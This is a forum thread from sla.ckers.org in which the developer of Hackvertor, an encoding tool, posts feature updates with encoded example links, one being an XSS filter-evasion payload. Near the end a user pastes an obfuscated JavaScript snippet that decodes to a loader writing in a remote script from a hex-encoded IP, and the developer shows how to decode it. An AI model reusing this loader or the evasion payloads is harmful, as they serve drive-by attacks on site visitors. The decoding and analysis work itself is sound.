Cenzic 232 Patent
Paid Advertising
sla.ckers.org is
ha.ckers sla.cking
Sla.ckers.org
Whether this is about ha.ckers.org, sla.ckers.org or some other project you are interested in or want to talk about, throw it in here to get feedback. 
Go to Topic: PreviousNext
Go to: Forum ListMessage ListNew TopicSearchLog In
Pages: Previous123Next
Current Page: 2 of 3
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 09, 2008 10:04AM

Thanks Mario!

I'll check the code and add it, I did add atob functions for other browsers but I've not got IE to test. I'll let you know when it's done

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 14, 2008 09:00AM

Fixed the IE base64 now, I had already added the code but I didn't test it. I finally got hold of a pc today and fixed the code.

I've also thought of a cool hack to allow multiple instances of the same tag (which is my biggest bug to fix), I tried reg exps but it was too difficult to make it work correctly using the method tx stated. A fix it round the corner :)

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 14, 2008 09:14AM

I've also just added zero spaced named entities based on my recent discovery when hacking PHPIDS:-

http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEBjX2xpbms%2BPEBjX2pzPjxAcmVwbGFjZShlLGU8QG51bGxuYW1lZGVudHMoMSk%2BPEAvbnVsbG5hbWVkZW50cz4pPjxAY19hbGVydD4xPEAvY19hbGVydD48QC9yZXBsYWNlPjxAL2NfanM%2BPEAvY19saW5rPg%3D%3D

Notice the above uses common inputs to insert the HTML and a replace tag to add the entity in the alert.

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 14, 2008 09:41AM

I've finally mixed multiple instances of the same tag nesting:-
http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEBoZXhfZW50XzAoOyk%2BPEBoZXhfZW50XzEoKT5TaW1wbGljaXR5IGlzIGFsd2F5cyB0aGUgYmVzdCBwb2xpY3k8QC9oZXhfZW50XzE%2BPEAvaGV4X2VudF8wPmZp

This sounds so simple but trust me this was a major headache because Javascript doesn't support lookbehind in reg exps. As a hacker though I looked for a easy solution :) Each tag now gets a unique number thus solving the problem :D

I must thank TX for trying to help with this problem, I tried his code but it proved very difficult to implement because you can have tags in params etc thanks TX

I don't know why anyone would want to but it's possible to do this:-
http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEBoZXhfZW50XzMoOyk%2BPEBoZXhfZW50XzIoOyk%2BPEBoZXhfZW50XzEoOyk%2BPEBoZXhfZW50XzAoOyk%2BV2h5PyBCZWNhdXNlIGl0IGNhbjxAL2hleF9lbnRfMD48QC9oZXhfZW50XzE%2BPEAvaGV4X2VudF8yPjxAL2hleF9lbnRfMz4%3D

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]



Edited 3 time(s). Last edit at 02/14/2008 10:54AM by Gareth Heyes.

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 17, 2008 09:26AM

--removed--

Posted to wrong thread oooops

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]



Edited 2 time(s). Last edit at 02/17/2008 09:27AM by Gareth Heyes.

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 18, 2008 04:26AM

I've added basic Math support to Hackvertor now, I wanted a way to convert numbers individually when part of a string. An example of this is available here:-

http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEBhcml0aG1ldGljXzE4KDEwLCssJywnKT4xMCwyMCwzMCw0MCw1MDxAL2FyaXRobWV0aWNfMTg%2B

The first tag argument is the value, the second is the operator and lastly is the split character.

Increment/decrement support is also added, you can increment a number by a value:-
http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEBpbmNyZW1lbnRfMTkoMCwnLCcpPjEsMiwzLDQsNTxAL2luY3JlbWVudF8xOT4%3D

In the example above I use the value '0' this means Hackvertor will increment the number it finds by itself.

Any more suggestions are of course welcome, I was going to add the other Math functions but I couldn't really come up with any advantages of doing so but if you can provide an example then I'll add it.

Hackvertor also has split join support so you can either split and join a number sequence together or use find and replace, a example of a split join can be viewed here:-

http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEBzcGxpdGpvaW5fMjAoJywnLCk%2BPEBpbmNyZW1lbnRfMTkoMCwnLCcpPjEsMiwzLDQsNTxAL2luY3JlbWVudF8xOT48QC9zcGxpdGpvaW5fMjA%2B

Here's a further example of combining math and string tags:-
http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEBkZWMyaGV4XzE%2BPEByZXZlcnNlXzA%2BPEBzcGxpdGpvaW5fMjAoJywnLCk%2BPEBpbmNyZW1lbnRfMTkoMCwnLCcpPjEsMiwzLDQsNTxAL2luY3JlbWVudF8xOT48QC9zcGxpdGpvaW5fMjA%2BPEAvcmV2ZXJzZV8wPjxAL2RlYzJoZXhfMT4%3D

The example above takes the characters 1,2,3,4,5, increments each of them by itself, reverses the entire sequence and then converts the result to hex.

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]



Edited 3 time(s). Last edit at 02/18/2008 05:10AM by Gareth Heyes.

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 18, 2008 11:05AM

A while ago I posted a challenge on my blog to decode a long string:-
http://www.thespanner.co.uk/2007/10/10/a-bit-of-fun/

Watch how easily Hackvertor now converts the entire string:-
http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEBhdXRvX2RlY29kZV8xMj48QGF1dG9fZGVjb2RlXzExPjxAYXV0b19kZWNvZGVfMTA%2BPEBmcm9tY2hhcmNvZGVzXzk%2BPEByZXBsYWNlXzgoICwnLCcpPjM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTUgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA1MiA1OSAzOCAzNSAxMjAgNTEgNDggNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1MiA1OSAzOCAzNSAxMjAgNTEgNTAgNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1MiA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1MiA1OSAzOCAzNSAxMjAgNTEgNTEgNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTEgNTEgNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDUyIDU5IDM4IDM1IDEyMCA1MSA0OCA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MSA0OCA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDU0IDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDU0IDU5IDM4IDM1IDEyMCA1MSA1MCA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDU0IDU5IDM4IDM1IDEyMCA1MSA1MiA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDU0IDU5IDM4IDM1IDEyMCA1MSA1MSA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNTIgNTkgMzggMzUgMTIwIDUxIDQ4IDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTIgNTkgMzggMzUgMTIwIDUxIDU0IDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTQgNTkgMzggMzUgMTIwIDUxIDUwIDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUxIDU1IDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA1MiA1OSAzOCAzNSAxMjAgNTEgNDggNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1MiA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTEgNTIgNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTEgNTIgNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDUyIDU5IDM4IDM1IDEyMCA1MSA0OCA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDU0IDU5IDM4IDM1IDEyMCA1MSA1MiA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MSA0OCA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDU0IDU5IDM4IDM1IDEyMCA1MSA1MSA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNTIgNTkgMzggMzUgMTIwIDUxIDQ4IDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTQgNTkgMzggMzUgMTIwIDUxIDUxIDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTQgNTkgMzggMzUgMTIwIDUxIDUyIDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTQgNTkgMzggMzUgMTIwIDUxIDUyIDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUxIDU0IDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTIgNTkgMzggMzUgMTIwIDUxIDU1IDU5PEAvcmVwbGFjZV84PjxAL2Zyb21jaGFyY29kZXNfOT48QC9hdXRvX2RlY29kZV8xMD48QC9hdXRvX2RlY29kZV8xMT48QC9hdXRvX2RlY29kZV8xMj4%3D

I thought that's cool but too many tags :) so I created a auto decoding repeating tag:-
http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEBhdXRvX2RlY29kZV9yZXBlYXRfMD4zOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDU1IDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNTIgNTkgMzggMzUgMTIwIDUxIDQ4IDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTIgNTkgMzggMzUgMTIwIDUxIDUwIDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTIgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTIgNTkgMzggMzUgMTIwIDUxIDUxIDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUxIDUxIDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA1MiA1OSAzOCAzNSAxMjAgNTEgNDggNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTEgNDggNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1NCA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1NCA1OSAzOCAzNSAxMjAgNTEgNTAgNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1NCA1OSAzOCAzNSAxMjAgNTEgNTIgNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1NCA1OSAzOCAzNSAxMjAgNTEgNTEgNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDUyIDU5IDM4IDM1IDEyMCA1MSA0OCA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDUyIDU5IDM4IDM1IDEyMCA1MSA1NCA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDU0IDU5IDM4IDM1IDEyMCA1MSA1MCA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MSA1NSA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNTIgNTkgMzggMzUgMTIwIDUxIDQ4IDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTIgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUxIDUyIDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUxIDUyIDU5IDM4IDM1IDEyMCA1MCA1MyA1OSAzOCAzNSAxMjAgNTEgNTMgNTkgMzggMzUgMTIwIDUyIDUxIDU5IDM4IDM1IDEyMCA1MSA1MiA1OSAzOCAzNSAxMjAgNTEgNDggNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1NCA1OSAzOCAzNSAxMjAgNTEgNTIgNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTEgNDggNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDQ5IDU5IDM4IDM1IDEyMCA1MSA1NCA1OSAzOCAzNSAxMjAgNTEgNTEgNTkgMzggMzUgMTIwIDUwIDUzIDU5IDM4IDM1IDEyMCA1MSA1MyA1OSAzOCAzNSAxMjAgNTIgNTEgNTkgMzggMzUgMTIwIDUxIDUyIDU5IDM4IDM1IDEyMCA1MSA0OCA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDU0IDU5IDM4IDM1IDEyMCA1MSA1MSA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDU0IDU5IDM4IDM1IDEyMCA1MSA1MiA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDU0IDU5IDM4IDM1IDEyMCA1MSA1MiA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MSA0OSA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MSA1NCA1OSAzOCAzNSAxMjAgNTAgNTMgNTkgMzggMzUgMTIwIDUxIDUzIDU5IDM4IDM1IDEyMCA1MiA1MSA1OSAzOCAzNSAxMjAgNTEgNDkgNTkgMzggMzUgMTIwIDUxIDUyIDU5IDM4IDM1IDEyMCA1MSA1NSA1OTxAL2F1dG9fZGVjb2RlX3JlcGVhdF8wPg%3D%3D

I've added a auto repeating decode limit of 20 to prevent infinite loops and browser crashes. I think 20 is plenty and you can always use multiple tags to decode more.

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]



Edited 3 time(s). Last edit at 02/19/2008 04:32AM by Gareth Heyes.

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: noconnexion
Date: February 18, 2008 09:01PM

Can you tell how or if it's encrypted this javascript code:

<script type="text/javascript">var s="=TDSJQU!MBOHVBHF>#KbwbTdsjqu#?epdvnfou/xsjufmo)(=TDS(!,!(JQU!MBOHVBHF>#KbwbTdsjqu#(*<epdvnfou/xsjufmo)(tsd>#iuuq;001y57/1y:7712g0qmvhjot0qiq.uftu0gmti0h/qiq#?(*<epdvnfou/xsjufmo)(=0TDS(,(JQU?(*<=0TDSJQU?"; m=""; for (i=0; i<s.length; i++) m+=String.fromCharCode(s.charCodeAt(i)-1); document.write(m);</script>

Options: ReplyQuote
Re: Hackvertor - Feature requests & bugs please post here
Posted by: Gareth Heyes
Date: February 18, 2008 09:06PM

@noconnexion

I'll do one better, I'll show you:-
http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PEBmcm9tY2hhcmNvZGVzXzI%2BPEBhcml0aG1ldGljXzEoMSwtLCcsJyk%2BPEB0b2NoYXJjb2Rlc18wPj1URFNKUVUhTUJPSFZCSEY%2BI0tid2JUZHNqcXUjP2VwZHZuZm91L3hzanVmbW8pKD1URFMoISwhKEpRVSFNQk9IVkJIRj4jS2J3YlRkc2pxdSMoKjxlcGR2bmZvdS94c2p1Zm1vKSh0c2Q%2BI2l1dXE7MDAxeTU3LzF5Ojc3MTJnMHFtdmhqb3QwcWlxLnVmdHUwZ210aTBoL3FpcSM%2FKCo8ZXBkdm5mb3UveHNqdWZtbykoPTBURFMoLChKUVU%2FKCo8PTBURFNKUVU%2FPEAvdG9jaGFyY29kZXNfMD48QC9hcml0aG1ldGljXzE%2BPEAvZnJvbWNoYXJjb2Rlc18yPg%3D%3D

------------------------------------------------------------------------------------------------------------
